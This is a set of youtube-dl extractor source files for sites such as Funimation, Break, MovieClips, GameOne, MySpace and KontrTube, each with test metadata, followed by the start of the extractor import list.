            ('mobile', 'Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36'),
        )

        user_agent = self._extract_cloudflare_session_ua(url)
        if user_agent:
            USER_AGENTS = ((None, user_agent),)

        for kind, user_agent in USER_AGENTS:
            request = sanitized_Request(url)
            request.add_header('User-Agent', user_agent)
            webpage = self._download_webpage(
                request, display_id,
                'Downloading %s webpage' % kind if kind else 'Downloading webpage')

            playlist = self._parse_json(
                self._search_regex(
                    r'var\s+playersData\s*=\s*(\[.+?\]);\n',
                    webpage, 'players data'),
                display_id)[0]['playlist']

            items = next(item['items'] for item in playlist if item.get('items'))
            item = next(item for item in items if item.get('itemAK') == display_id)

            error_messages = {}
            video_error_messages = self._search_regex(
                r'var\s+videoErrorMessages\s*=\s*({.+?});\n',
                webpage, 'error messages', default=None)
            if video_error_messages:
                error_messages_json = self._parse_json(video_error_messages, display_id, fatal=False)
                if error_messages_json:
                    for _, error in error_messages_json.items():
                        type_ = error.get('type')
                        description = error.get('description')
                        content = error.get('content')
                        if type_ == 'text' and description and content:
                            error_message = ERRORS_MAP.get(description)
                            if error_message:
                                error_messages[error_message] = content

            for video in item.get('videoSet', []):
                auth_token = video.get('authToken')
                if not auth_token:
                    continue
                funimation_id = video.get('FUNImationID') or video.get('videoId')
                preference = 1 if video.get('languageMode') == 'dub' else 0
                if not auth_token.startswith('?'):
                    auth_token = '?%s' % auth_token
                for quality, height in (('sd', 480), ('hd', 720), ('hd1080', 1080)):
                    format_url = video.get('%sUrl' % quality)
                    if not format_url:
                        continue
                    if not format_url.startswith(('http', '//')):
                        errors.append(format_url)
                        continue
                    if determine_ext(format_url) == 'm3u8':
                        formats.extend(self._extract_m3u8_formats(
                            format_url + auth_token, display_id, 'mp4', entry_protocol='m3u8_native',
                            preference=preference, m3u8_id='%s-hls' % funimation_id, fatal=False))
                    else:
                        tbr = int_or_none(self._search_regex(
                            r'-(\d+)[Kk]', format_url, 'tbr', default=None))
                        formats.append({
                            'url': format_url + auth_token,
                            'format_id': '%s-http-%dp' % (funimation_id, height),
                            'height': height,
                            'tbr': tbr,
                            'preference': preference,
                        })

        if not formats and errors:
            raise ExtractorError(
                '%s returned error: %s'
                % (self.IE_NAME, clean_html(error_messages.get(errors[0], errors[0]))),
                expected=True)

        self._sort_formats(formats)

        title = item['title']
        artist = item.get('artist')
        if artist:
            title = '%s - %s' % (artist, title)
        description = self._og_search_description(webpage) or item.get('description')
        thumbnail = self._og_search_thumbnail(webpage) or item.get('posterUrl')
        video_id = item.get('itemId') or display_id

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .nuevo import NuevoBaseIE


class TrollvidsIE(NuevoBaseIE):
    _VALID_URL = r'https?://(?:www\.)?trollvids\.com/video/(?P<id>\d+)/(?P<display_id>[^/?#&]+)'
    IE_NAME = 'trollvids'
    _TEST = {
        'url': 'http://trollvids.com/video/2349002/%E3%80%90MMD-R-18%E3%80%91%E3%82%AC%E3%83%BC%E3%83%AB%E3%83%95%E3%83%AC%E3%83%B3%E3%83%89-carrymeoff',
        'md5': '1d53866b2c514b23ed69e4352fdc9839',
        'info_dict': {
            'id': '2349002',
            'ext': 'mp4',
            'title': '【MMD R-18】ガールフレンド carry_me_off',
            'age_limit': 18,
            'duration': 216.78,
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        info = self._extract_nuevo(
            'http://trollvids.com/nuevo/player/config.php?v=%s' % video_id,
            video_id)
        info.update({
            'display_id': display_id,
            'age_limit': 18
        })
        return info






from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_age_limit,
)


class BreakIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?break\.com/video/(?:[^/]+/)*.+-(?P<id>\d+)'
    _TESTS = [{
        'url': 'http://www.break.com/video/when-girls-act-like-guys-2468056',
        'info_dict': {
            'id': '2468056',
            'ext': 'mp4',
            'title': 'When Girls Act Like D-Bags',
            'age_limit': 13,
        }
    }, {
        'url': 'http://www.break.com/video/ugc/baby-flex-2773063',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(
            'http://www.break.com/embed/%s' % video_id, video_id)
        info = json.loads(self._search_regex(
            r'var embedVars = ({.*})\s*?</script>',
            webpage, 'info json', flags=re.DOTALL))

        youtube_id = info.get('youtubeId')
        if youtube_id:
            return self.url_result(youtube_id, 'Youtube')

        formats = [{
            'url': media['uri'] + '?' + info['AuthToken'],
            'tbr': media['bitRate'],
            'width': media['width'],
            'height': media['height'],
        } for media in info['media'] if media.get('mediaPurpose') == 'play']

        if not formats:
            formats.append({
                'url': info['videoUri']
            })

        self._sort_formats(formats)

        duration = int_or_none(info.get('videoLengthInSeconds'))
        age_limit = parse_age_limit(info.get('audienceRating'))

        return {
            'id': video_id,
            'title': info['contentName'],
            'thumbnail': info['thumbUri'],
            'duration': duration,
            'age_limit': age_limit,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    smuggle_url,
    float_or_none,
    parse_iso8601,
    update_url_query,
)


class MovieClipsIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www.)?movieclips\.com/videos/.+-(?P<id>\d+)(?:\?|$)'
    _TEST = {
        'url': 'http://www.movieclips.com/videos/warcraft-trailer-1-561180739597',
        'md5': '42b5a0352d4933a7bd54f2104f481244',
        'info_dict': {
            'id': 'pKIGmG83AqD9',
            'ext': 'mp4',
            'title': 'Warcraft Trailer 1',
            'description': 'Watch Trailer 1 from Warcraft (2016). Legendary’s WARCRAFT is a 3D epic adventure of world-colliding conflict based.',
            'thumbnail': 're:^https?://.*\.jpg$',
            'timestamp': 1446843055,
            'upload_date': '20151106',
            'uploader': 'Movieclips',
        },
        'add_ie': ['ThePlatform'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        video = next(v for v in self._parse_json(self._search_regex(
            r'var\s+__REACT_ENGINE__\s*=\s*({.+});',
            webpage, 'react engine'), video_id)['playlist']['videos'] if v['id'] == video_id)

        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': smuggle_url(update_url_query(
                video['contentUrl'], {'mbr': 'true'}), {'force_smil_url': True}),
            'title': self._og_search_title(webpage),
            'description': self._html_search_meta('description', webpage),
            'duration': float_or_none(video.get('duration')),
            'timestamp': parse_iso8601(video.get('dateCreated')),
            'thumbnail': video.get('defaultImage'),
            'uploader': video.get('provider'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    xpath_with_ns,
    parse_iso8601,
    float_or_none,
    int_or_none,
)

NAMESPACE_MAP = {
    'media': 'http://search.yahoo.com/mrss/',
}

# URL prefix to download the mp4 files directly instead of streaming via rtmp
# Credits go to XBox-Maniac
# http://board.jdownloader.org/showpost.php?p=185835&postcount=31
RAW_MP4_URL = 'http://cdn.riptide-mtvn.com/'


class GameOneIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?gameone\.de/tv/(?P<id>\d+)'
    _TESTS = [
        {
            'url': 'http://www.gameone.de/tv/288',
            'md5': '136656b7fb4c9cb4a8e2d500651c499b',
            'info_dict': {
                'id': '288',
                'ext': 'mp4',
                'title': 'Game One - Folge 288',
                'duration': 1238,
                'thumbnail': 'http://s3.gameone.de/gameone/assets/video_metas/teaser_images/000/643/636/big/640x360.jpg',
                'description': 'FIFA-Pressepokal 2014, Star Citizen, Kingdom Come: Deliverance, Project Cars, Schöner Trants Nerdquiz Folge 2 Runde 1',
                'age_limit': 16,
                'upload_date': '20140513',
                'timestamp': 1399980122,
            }
        },
        {
            'url': 'http://gameone.de/tv/220',
            'md5': '5227ca74c4ae6b5f74c0510a7c48839e',
            'info_dict': {
                'id': '220',
                'ext': 'mp4',
                'upload_date': '20120918',
                'description': 'Jet Set Radio HD, Tekken Tag Tournament 2, Source Filmmaker',
                'timestamp': 1347971451,
                'title': 'Game One - Folge 220',
                'duration': 896.62,
                'age_limit': 16,
            }
        }

    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        og_video = self._og_search_video_url(webpage, secure=False)
        description = self._html_search_meta('description', webpage)
        age_limit = int(
            self._search_regex(
                r'age=(\d+)',
                self._html_search_meta(
                    'age-de-meta-label',
                    webpage),
                'age_limit',
                '0'))
        mrss_url = self._search_regex(r'mrss=([^&]+)', og_video, 'mrss')

        mrss = self._download_xml(mrss_url, video_id, 'Downloading mrss')
        title = mrss.find('.//item/title').text
        thumbnail = mrss.find('.//item/image').get('url')
        timestamp = parse_iso8601(mrss.find('.//pubDate').text, delimiter=' ')
        content = mrss.find(xpath_with_ns('.//media:content', NAMESPACE_MAP))
        content_url = content.get('url')

        content = self._download_xml(
            content_url,
            video_id,
            'Downloading media:content')
        rendition_items = content.findall('.//rendition')
        duration = float_or_none(rendition_items[0].get('duration'))
        formats = [
            {
                'url': re.sub(r'.*/(r2)', RAW_MP4_URL + r'\1', r.find('./src').text),
                'width': int_or_none(r.get('width')),
                'height': int_or_none(r.get('height')),
                'tbr': int_or_none(r.get('bitrate')),
            }
            for r in rendition_items
        ]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
            'description': description,
            'age_limit': age_limit,
            'timestamp': timestamp,
        }


class GameOnePlaylistIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?gameone\.de(?:/tv)?/?$'
    IE_NAME = 'gameone:playlist'
    _TEST = {
        'url': 'http://www.gameone.de/tv',
        'info_dict': {
            'title': 'GameOne',
        },
        'playlist_mincount': 294,
    }

    def _real_extract(self, url):
        webpage = self._download_webpage('http://www.gameone.de/tv', 'TV')
        max_id = max(map(int, re.findall(r'<a href="/tv/(\d+)"', webpage)))
        entries = [
            self.url_result('http://www.gameone.de/tv/%d' %
                            video_id, 'GameOne')
            for video_id in range(max_id, 0, -1)]

        return {
            '_type': 'playlist',
            'title': 'GameOne',
            'entries': entries,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_iso8601,
)


class MySpaceIE(InfoExtractor):
    _VALID_URL = r'https?://myspace\.com/([^/]+)/(?P<mediatype>video/[^/]+/|music/song/.*?)(?P<id>\d+)'

    _TESTS = [
        {
            'url': 'https://myspace.com/fiveminutestothestage/video/little-big-town/109594919',
            'info_dict': {
                'id': '109594919',
                'ext': 'flv',
                'title': 'Little Big Town',
                'description': 'This country quartet was all smiles while playing a sold out show at the Pacific Amphitheatre in Orange County, California.',
                'uploader': 'Five Minutes to the Stage',
                'uploader_id': 'fiveminutestothestage',
                'timestamp': 1414108751,
                'upload_date': '20141023',
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        },
        # songs
        {
            'url': 'https://myspace.com/killsorrow/music/song/of-weakened-soul...-93388656-103880681',
            'info_dict': {
                'id': '93388656',
                'ext': 'flv',
                'title': 'Of weakened soul...',
                'uploader': 'Killsorrow',
                'uploader_id': 'killsorrow',
            },
            'params': {
                # rtmp download
                'skip_download': True,
            },
        }, {
            'add_ie': ['Vevo'],
            'url': 'https://myspace.com/threedaysgrace/music/song/animal-i-have-become-28400208-28218041',
            'info_dict': {
                'id': 'USZM20600099',
                'ext': 'mp4',
                'title': 'Animal I Have Become',
                'uploader': 'Three Days Grace',
                'timestamp': int,
                'upload_date': '20060502',
            },
            'skip': 'VEVO is only available in some countries',
        }, {
            'add_ie': ['Youtube'],
            'url': 'https://myspace.com/starset2/music/song/first-light-95799905-106964426',
            'info_dict': {
                'id': 'ypWvQgnJrSU',
                'ext': 'mp4',
                'title': 'Starset - First Light',
                'description': 'md5:2d5db6c9d11d527683bcda818d332414',
                'uploader': 'Yumi K',
                'uploader_id': 'SorenPromotions',
                'upload_date': '20140725',
            }
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        webpage = self._download_webpage(url, video_id)
        player_url = self._search_regex(
            r'playerSwf":"([^"?]*)', webpage, 'player URL')

        def rtmp_format_from_stream_url(stream_url, width=None, height=None):
            rtmp_url, play_path = stream_url.split(';', 1)
            return {
                'format_id': 'rtmp',
                'url': rtmp_url,
                'play_path': play_path,
                'player_url': player_url,
                'protocol': 'rtmp',
                'ext': 'flv',
                'width': width,
                'height': height,
            }

        if mobj.group('mediatype').startswith('music/song'):
            # songs don't store any useful info in the 'context' variable
            song_data = self._search_regex(
                r'''<button.*data-song-id=(["\'])%s\1.*''' % video_id,
                webpage, 'song_data', default=None, group=0)
            if song_data is None:
                # some songs in an album are not playable
                self.report_warning(
                    '%s: No downloadable song on this page' % video_id)
                return

            def search_data(name):
                return self._search_regex(
                    r'''data-%s=([\'"])(?P<data>.*?)\1''' % name,
                    song_data, name, default='', group='data')
            stream_url = search_data('stream-url')
            if not stream_url:
                vevo_id = search_data('vevo-id')
                youtube_id = search_data('youtube-id')
                if vevo_id:
                    self.to_screen('Vevo video detected: %s' % vevo_id)
                    return self.url_result('vevo:%s' % vevo_id, ie='Vevo')
                elif youtube_id:
                    self.to_screen('Youtube video detected: %s' % youtube_id)
                    return self.url_result(youtube_id, ie='Youtube')
                else:
                    raise ExtractorError(
                        'Found song but don\'t know how to download it')
            return {
                'id': video_id,
                'title': self._og_search_title(webpage),
                'uploader': search_data('artist-name'),
                'uploader_id': search_data('artist-username'),
                'thumbnail': self._og_search_thumbnail(webpage),
                'duration': int_or_none(search_data('duration')),
                'formats': [rtmp_format_from_stream_url(stream_url)]
            }
        else:
            video = self._parse_json(self._search_regex(
                r'context = ({.*?});', webpage, 'context'),
                video_id)['video']
            formats = []
            hls_stream_url = video.get('hlsStreamUrl')
            if hls_stream_url:
                formats.append({
                    'format_id': 'hls',
                    'url': hls_stream_url,
                    'protocol': 'm3u8_native',
                    'ext': 'mp4',
                })
            stream_url = video.get('streamUrl')
            if stream_url:
                formats.append(rtmp_format_from_stream_url(
                    stream_url,
                    int_or_none(video.get('width')),
                    int_or_none(video.get('height'))))
            self._sort_formats(formats)
            return {
                'id': video_id,
                'title': video['title'],
                'description': video.get('description'),
                'thumbnail': video.get('imageUrl'),
                'uploader': video.get('artistName'),
                'uploader_id': video.get('artistUsername'),
                'duration': int_or_none(video.get('duration')),
                'timestamp': parse_iso8601(video.get('dateAdded')),
                'formats': formats,
            }


class MySpaceAlbumIE(InfoExtractor):
    IE_NAME = 'MySpace:album'
    _VALID_URL = r'https?://myspace\.com/([^/]+)/music/album/(?P<title>.*-)(?P<id>\d+)'

    _TESTS = [{
        'url': 'https://myspace.com/starset2/music/album/transmissions-19455773',
        'info_dict': {
            'title': 'Transmissions',
            'id': '19455773',
        },
        'playlist_count': 14,
        'skip': 'this album is only available in some countries',
    }, {
        'url': 'https://myspace.com/killsorrow/music/album/the-demo-18596029',
        'info_dict': {
            'title': 'The Demo',
            'id': '18596029',
        },
        'playlist_count': 5,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('id')
        display_id = mobj.group('title') + playlist_id
        webpage = self._download_webpage(url, display_id)
        tracks_paths = re.findall(r'"music:song" content="(.*?)"', webpage)
        if not tracks_paths:
            raise ExtractorError(
                '%s: No songs found, try using proxy' % display_id,
                expected=True)
        entries = [
            self.url_result(t_path, ie=MySpaceIE.ie_key())
            for t_path in tracks_paths]
        return {
            '_type': 'playlist',
            'id': playlist_id,
            'display_id': display_id,
            'title': self._og_search_title(webpage),
            'entries': entries,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import remove_start


class Ir90TvIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?90tv\.ir/video/(?P<id>[0-9]+)/.*'
    _TESTS = [{
        'url': 'http://90tv.ir/video/95719/%D8%B4%D8%A7%DB%8C%D8%B9%D8%A7%D8%AA-%D9%86%D9%82%D9%84-%D9%88-%D8%A7%D9%86%D8%AA%D9%82%D8%A7%D9%84%D8%A7%D8%AA-%D9%85%D9%87%D9%85-%D9%81%D9%88%D8%AA%D8%A8%D8%A7%D9%84-%D8%A7%D8%B1%D9%88%D9%BE%D8%A7-940218',
        'md5': '411dbd94891381960cb9e13daa47a869',
        'info_dict': {
            'id': '95719',
            'ext': 'mp4',
            'title': 'شایعات نقل و انتقالات مهم فوتبال اروپا 94/02/18',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }, {
        'url': 'http://www.90tv.ir/video/95719/%D8%B4%D8%A7%DB%8C%D8%B9%D8%A7%D8%AA-%D9%86%D9%82%D9%84-%D9%88-%D8%A7%D9%86%D8%AA%D9%82%D8%A7%D9%84%D8%A7%D8%AA-%D9%85%D9%87%D9%85-%D9%81%D9%88%D8%AA%D8%A8%D8%A7%D9%84-%D8%A7%D8%B1%D9%88%D9%BE%D8%A7-940218',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        title = remove_start(self._html_search_regex(
            r'<title>([^<]+)</title>', webpage, 'title'), '90tv.ir :: ')

        video_url = self._search_regex(
            r'<source[^>]+src="([^"]+)"', webpage, 'video url')

        thumbnail = self._search_regex(r'poster="([^"]+)"', webpage, 'thumbnail url', fatal=False)

        return {
            'url': video_url,
            'id': video_id,
            'title': title,
            'video_url': video_url,
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

from .onet import OnetBaseIE


class ClipRsIE(OnetBaseIE):
    _VALID_URL = r'https?://(?:www\.)?clip\.rs/(?P<id>[^/]+)/\d+'
    _TEST = {
        'url': 'http://www.clip.rs/premijera-frajle-predstavljaju-novi-spot-za-pesmu-moli-me-moli/3732',
        'md5': 'c412d57815ba07b56f9edc7b5d6a14e5',
        'info_dict': {
            'id': '1488842.1399140381',
            'ext': 'mp4',
            'title': 'PREMIJERA Frajle predstavljaju novi spot za pesmu Moli me, moli',
            'description': 'md5:56ce2c3b4ab31c5a2e0b17cb9a453026',
            'duration': 229,
            'timestamp': 1459850243,
            'upload_date': '20160405',
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        mvp_id = self._search_mvp_id(webpage)

        info_dict = self._extract_from_id(mvp_id, webpage)
        info_dict['display_id'] = display_id

        return info_dict






# encoding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
)


class KontrTubeIE(InfoExtractor):
    IE_NAME = 'kontrtube'
    IE_DESC = 'KontrTube.ru - Труба зовёт'
    _VALID_URL = r'https?://(?:www\.)?kontrtube\.ru/videos/(?P<id>\d+)/(?P<display_id>[^/]+)/'

    _TEST = {
        'url': 'http://www.kontrtube.ru/videos/2678/nad-olimpiyskoy-derevney-v-sochi-podnyat-rossiyskiy-flag/',
        'md5': '975a991a4926c9a85f383a736a2e6b80',
        'info_dict': {
            'id': '2678',
            'display_id': 'nad-olimpiyskoy-derevney-v-sochi-podnyat-rossiyskiy-flag',
            'ext': 'mp4',
            'title': 'Над олимпийской деревней в Сочи поднят российский флаг',
            'description': 'md5:80edc4c613d5887ae8ccf1d59432be41',
            'thumbnail': 'http://www.kontrtube.ru/contents/videos_screenshots/2000/2678/preview.mp4.jpg',
            'duration': 270,
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(
            url, display_id, 'Downloading page')

        video_url = self._search_regex(
            r"video_url\s*:\s*'(.+?)/?',", webpage, 'video URL')
        thumbnail = self._search_regex(
            r"preview_url\s*:\s*'(.+?)/?',", webpage, 'thumbnail', fatal=False)
        title = self._html_search_regex(
            r'(?s)<h2>(.+?)</h2>', webpage, 'title')
        description = self._html_search_meta(
            'description', webpage, 'description')

        duration = self._search_regex(
            r'Длительность: <em>([^<]+)</em>', webpage, 'duration', fatal=False)
        if duration:
            duration = parse_duration(duration.replace('мин', 'min').replace('сек', 'sec'))

        view_count = self._search_regex(
            r'Просмотров: <em>([^<]+)</em>',
            webpage, 'view count', fatal=False)
        if view_count:
            view_count = int_or_none(view_count.replace(' ', ''))

        comment_count = int_or_none(self._search_regex(
            r'Комментарии \((\d+)\)<', webpage, ' comment count', fatal=False))

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'thumbnail': thumbnail,
            'title': title,
            'description': description,
            'duration': duration,
            'view_count': int_or_none(view_count),
            'comment_count': int_or_none(comment_count),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    remove_start,
)


class RozhlasIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?prehravac\.rozhlas\.cz/audio/(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://prehravac.rozhlas.cz/audio/3421320',
        'md5': '504c902dbc9e9a1fd50326eccf02a7e2',
        'info_dict': {
            'id': '3421320',
            'ext': 'mp3',
            'title': 'Echo Pavla Klusáka (30.06.2015 21:00)',
            'description': 'Osmdesátiny Terryho Rileyho jsou skvělou příležitostí proletět se elektronickými i akustickými díly zakladatatele minimalismu, který je aktivní už přes padesát let'
        }
    }, {
        'url': 'http://prehravac.rozhlas.cz/audio/3421320/embed',
        'skip_download': True,
    }]

    def _real_extract(self, url):
        audio_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://prehravac.rozhlas.cz/audio/%s' % audio_id, audio_id)

        title = self._html_search_regex(
            r'<h3>(.+?)</h3>\s*<p[^>]*>.*?</p>\s*<div[^>]+id=["\']player-track',
            webpage, 'title', default=None) or remove_start(
            self._og_search_title(webpage), 'Radio Wave - ')
        description = self._html_search_regex(
            r'<p[^>]+title=(["\'])(?P<url>(?:(?!\1).)+)\1[^>]*>.*?</p>\s*<div[^>]+id=["\']player-track',
            webpage, 'description', fatal=False, group='url')
        duration = int_or_none(self._search_regex(
            r'data-duration=["\'](\d+)', webpage, 'duration', default=None))

        return {
            'id': audio_id,
            'url': 'http://media.rozhlas.cz/_audio/%s.mp3' % audio_id,
            'title': title,
            'description': description,
            'duration': duration,
            'vcodec': 'none',
        }






# flake8: noqa
from __future__ import unicode_literals

from .abc import (
    ABCIE,
    ABCIViewIE,
)
from .abc7news import Abc7NewsIE
from .abcnews import (
    AbcNewsIE,
    AbcNewsVideoIE,
)
from .academicearth import AcademicEarthCourseIE
from .acast import (
    ACastIE,
    ACastChannelIE,
)
from .addanime import AddAnimeIE
from .adobetv import (
    AdobeTVIE,
    AdobeTVShowIE,
    AdobeTVChannelIE,
    AdobeTVVideoIE,
)
from .adultswim import AdultSwimIE
from .aenetworks import (
    AENetworksIE,
    HistoryTopicIE,
)
from .afreecatv import AfreecaTVIE
from .aftonbladet import AftonbladetIE
from .airmozilla import AirMozillaIE
from .aljazeera import AlJazeeraIE
from .alphaporno import AlphaPornoIE
from .amcnetworks import AMCNetworksIE
from .animeondemand import AnimeOnDemandIE
from .anitube import AnitubeIE
from .anysex import AnySexIE
from .aol import (
    AolIE,
    AolFeaturesIE,
)
from .allocine import AllocineIE
from .aparat import AparatIE
from .appleconnect import AppleConnectIE
from .appletrailers import (
    AppleTrailersIE,
    AppleTrailersSectionIE,
)
from .archiveorg import ArchiveOrgIE
from .arkena import ArkenaIE
from .ard import (
    ARDIE,
    ARDMediathekIE,
)
from .arte import (
    ArteTvIE,
    ArteTVPlus7IE,
    ArteTVCreativeIE,
    ArteTVConcertIE,
    ArteTVInfoIE,
    ArteTVFutureIE,
    ArteTVCinemaIE,
    ArteTVDDCIE,
    ArteTVMagazineIE,
    ArteTVEmbedIE,
    ArteTVPlaylistIE,
)
from .atresplayer import AtresPlayerIE
from .atttechchannel import ATTTechChannelIE
from .audimedia import AudiMediaIE
from .audioboom import AudioBoomIE
from .audiomack import AudiomackIE, AudiomackAlbumIE
from .awaan import (
    AWAANIE,
    AWAANVideoIE,
    AWAANLiveIE,
    AWAANSeasonIE,
)
from .azubu import AzubuIE, AzubuLiveIE
from .baidu import BaiduVideoIE
from .bambuser import BambuserIE, BambuserChannelIE
from .bandcamp import BandcampIE, BandcampAlbumIE
from .bbc import (
    BBCCoUkIE,
    BBCCoUkArticleIE,
    BBCCoUkIPlayerPlaylistIE,
    BBCCoUkPlaylistIE,
    BBCIE,
)
from .beeg import BeegIE
from .behindkink import BehindKinkIE
from .beatportpro import BeatportProIE
from .bet import BetIE
from .bigflix import BigflixIE
from .bild import BildIE
from .bilibili import BiliBiliIE
from .biobiochiletv import BioBioChileTVIE
from .biqle import BIQLEIE
from .bleacherreport import (
    BleacherReportIE,
    BleacherReportCMSIE,
)
from .blinkx import BlinkxIE
from .bloomberg import BloombergIE
from .bokecc import BokeCCIE
from .bpb import BpbIE
from .br import BRIE
from .bravotv import BravoTVIE
from .breakcom import BreakIE
from .brightcove import (
    BrightcoveLegacyIE,
    BrightcoveNewIE,
)
from .buzzfeed import BuzzFeedIE
from .byutv import BYUtvIE
from .c56 import C56IE
from .camdemy import (
    CamdemyIE,
    CamdemyFolderIE
)
from .camwithher import CamWithHerIE
from .canalplus import CanalplusIE
from .canalc2 import Canalc2IE
from .canvas import CanvasIE
from .carambatv import (
    CarambaTVIE,
    CarambaTVPageIE,
)
from .cbc import (
    CBCIE,
    CBCPlayerIE,
)
from .cbs import CBSIE
from .cbslocal import CBSLocalIE
from .cbsinteractive import CBSInteractiveIE
from .cbsnews import (
    CBSNewsIE,
    CBSNewsLiveVideoIE,
)
from .cbssports import CBSSportsIE
from .ccc import CCCIE
from .cda import CDAIE
from .ceskatelevize import CeskaTelevizeIE
from .channel9 import Channel9IE
from .charlierose import CharlieRoseIE
from .chaturbate import ChaturbateIE
from .chilloutzone import ChilloutzoneIE
from .chirbit import (
    ChirbitIE,
    ChirbitProfileIE,
)
from .cinchcast import CinchcastIE
from .clipfish import ClipfishIE
from .cliphunter import CliphunterIE
from .cliprs import ClipRsIE
from .clipsyndicate import ClipsyndicateIE
from .closertotruth import CloserToTruthIE
from .cloudy import CloudyIE
from .clubic import ClubicIE
from .clyp import ClypIE
from .cmt import CMTIE
from .cnbc import CNBCIE
from .cnn import (
    CNNIE,
    CNNBlogsIE,
    CNNArticleIE,
)
from .coub import CoubIE
from .collegerama import CollegeRamaIE
from .comedycentral import (
    ComedyCentralIE,
    ComedyCentralShortnameIE,
    ComedyCentralTVIE,
    ToshIE,
)
from .comcarcoff import ComCarCoffIE
from .commonmistakes import CommonMistakesIE, UnicodeBOMIE
from .commonprotocols import RtmpIE
from .condenast import CondeNastIE
from .cracked import CrackedIE
from .crackle import CrackleIE
from .criterion import CriterionIE
from .crooksandliars import CrooksAndLiarsIE
from .crunchyroll import (
    CrunchyrollIE,
    CrunchyrollShowPlaylistIE
)
from .cspan import CSpanIE
from .ctsnews import CtsNewsIE
from .ctv import CTVIE
from .ctvnews import CTVNewsIE
from .cultureunplugged import CultureUnpluggedIE
from .cwtv import CWTVIE
from .dailymail import DailyMailIE
from .dailymotion import (
    DailymotionIE,
    DailymotionPlaylistIE,
    DailymotionUserIE,
    DailymotionCloudIE,
)
from .daum import (
    DaumIE,
    DaumClipIE,
    DaumPlaylistIE,
    DaumUserIE,
)
from .dbtv import DBTVIE
from .dctp import DctpTvIE
from .deezer import DeezerPlaylistIE
from .democracynow import DemocracynowIE
from .dfb import DFBIE
from .dhm import DHMIE
from .dotsub import DotsubIE
from .douyutv import DouyuTVIE
from .dplay import DPlayIE
from .dramafever import (
    DramaFeverIE,
    DramaFeverSeriesIE,
)
from .dreisat import DreiSatIE
from .drbonanza import DRBonanzaIE
from .drtuber import DrTuberIE
from .drtv import DRTVIE
from .dvtv import DVTVIE
from .dumpert import DumpertIE
from .defense import DefenseGouvFrIE
from .discovery import DiscoveryIE
from .discoverygo import DiscoveryGoIE
from .dispeak import DigitallySpeakingIE
from .dropbox import DropboxIE
from .dw import (
    DWIE,
    DWArticleIE,
)
from .eagleplatform import EaglePlatformIE
from .ebaumsworld import EbaumsWorldIE
from .echomsk import EchoMskIE
from .ehow import EHowIE
from .eighttracks import EightTracksIE
from .einthusan import EinthusanIE
from .eitb import EitbIE
from .ellentv import (
    EllenTVIE,
    EllenTVClipsIE,
)
from .elpais import ElPaisIE
from .embedly import EmbedlyIE
from .engadget import EngadgetIE
from .eporner import EpornerIE
from .eroprofile import EroProfileIE
from .escapist import EscapistIE
from .espn import ESPNIE
from .esri import EsriVideoIE
from .europa import EuropaIE
from .everyonesmixtape import EveryonesMixtapeIE
from .exfm import ExfmIE
from .expotv import ExpoTVIE
from .extremetube import ExtremeTubeIE
from .eyedotv import EyedoTVIE
from .facebook import FacebookIE
from .faz import FazIE
from .fc2 import FC2IE
from .fczenit import FczenitIE
from .firstpost import FirstpostIE
from .firsttv import FirstTVIE
from .fivemin import FiveMinIE
from .fivetv import FiveTVIE
from .fktv import FKTVIE
from .flickr import FlickrIE
from .flipagram import FlipagramIE
from .folketinget import FolketingetIE
from .footyroom import FootyRoomIE
from .formula1 import Formula1IE
from .fourtube import FourTubeIE
from .fox import FOXIE
from .foxgay import FoxgayIE
from .foxnews import FoxNewsIE
from .foxsports import FoxSportsIE
from .franceculture import FranceCultureIE
from .franceinter import FranceInterIE
from .francetv import (
    PluzzIE,
    FranceTvInfoIE,
    FranceTVIE,
    GenerationQuoiIE,
